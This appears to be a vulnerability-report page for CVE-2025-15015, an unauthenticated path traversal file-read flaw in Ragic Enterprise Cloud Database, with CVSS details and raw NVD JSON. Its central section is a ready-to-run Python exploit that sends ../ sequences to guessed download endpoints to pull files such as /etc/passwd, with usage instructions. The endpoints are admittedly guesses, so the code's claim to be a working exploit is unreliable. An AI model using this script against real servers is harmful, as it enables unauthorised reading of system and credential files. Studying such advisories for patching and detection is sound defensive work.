Security Vulnerability Report
中文
CVE-2025-15015 CVSS 7.5 HIGH

CVE-2025-15015

Published: 2025-12-22 04:16:01
Last Modified: 2026-03-05 19:01:32

Description

Enterprise Cloud Database developed by Ragic has a Arbitrary File Read vulnerability, allowing unauthenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ragic:enterprise_cloud_database:-:*:*:*:*:*:*:* - VULNERABLE
Ragic Enterprise Cloud Database - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15015 PoC - Path Traversal in Ragic Enterprise Cloud Database # Target: Ragic Enterprise Cloud Database # Vulnerability: Arbitrary File Read via Relative Path Traversal import requests import sys def exploit_cve_2025_15015(target_url, file_path): """ Exploit for CVE-2025-15015: Arbitrary File Read vulnerability Args: target_url: Base URL of the vulnerable Ragic Enterprise Cloud Database file_path: Path to the file to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ # Convert absolute path to path traversal sequence # Example: /etc/passwd -> ../../../../etc/passwd traversal_prefix = "../" * 5 # Construct the malicious path # Adjust the number of ../ based on the actual file location malicious_path = traversal_prefix + file_path.lstrip("/") # Target endpoint (adjust based on actual vulnerable endpoint) # Common patterns for file read vulnerabilities endpoints = [ "/api/file/download", "/api/download", "/file/get", "/download", "/api/v1/file", "/api/v1/download" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*", "Connection": "close" } for endpoint in endpoints: try: # Method 1: Query parameter url = f"{target_url.rstrip('/')}{endpoint}" params = {"path": malicious_path} response = requests.get(url, params=params, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success with endpoint: {endpoint}") print(f"[*] File: {file_path}") return response.content # Method 2: Path parameter url = f"{target_url.rstrip('/')}{endpoint}/{malicious_path}" response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success with endpoint: {endpoint} (path param)") print(f"[*] File: {file_path}") return response.content except requests.exceptions.RequestException as e: print(f"[-] Error with {endpoint}: {e}") continue return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_15015.py <target_url> <file_path>") print("Example: python cve_2025_15015.py https://vulnerable-server.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] print(f"[*] Target: {target}") print(f"[*] Attempting to read: {file_to_read}") result = exploit_cve_2025_15015(target, file_to_read) if result: print("\n[+] File Content:") print(result.decode('utf-8', errors='ignore')) else: print("[-] Exploitation failed - target may not be vulnerable or file not accessible")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15015", "sourceIdentifier": "[email protected]", "published": "2025-12-22T04:16:00.550", "lastModified": "2026-03-05T19:01:31.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Enterprise Cloud Database developed by Ragic has a Arbitrary File Read vulnerability, allowing unauthenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ragic:enterprise_cloud_database:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A6FFCBE-8253-42C0-8196-D875A952AB25"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10588-771e5-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10587-797c6-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}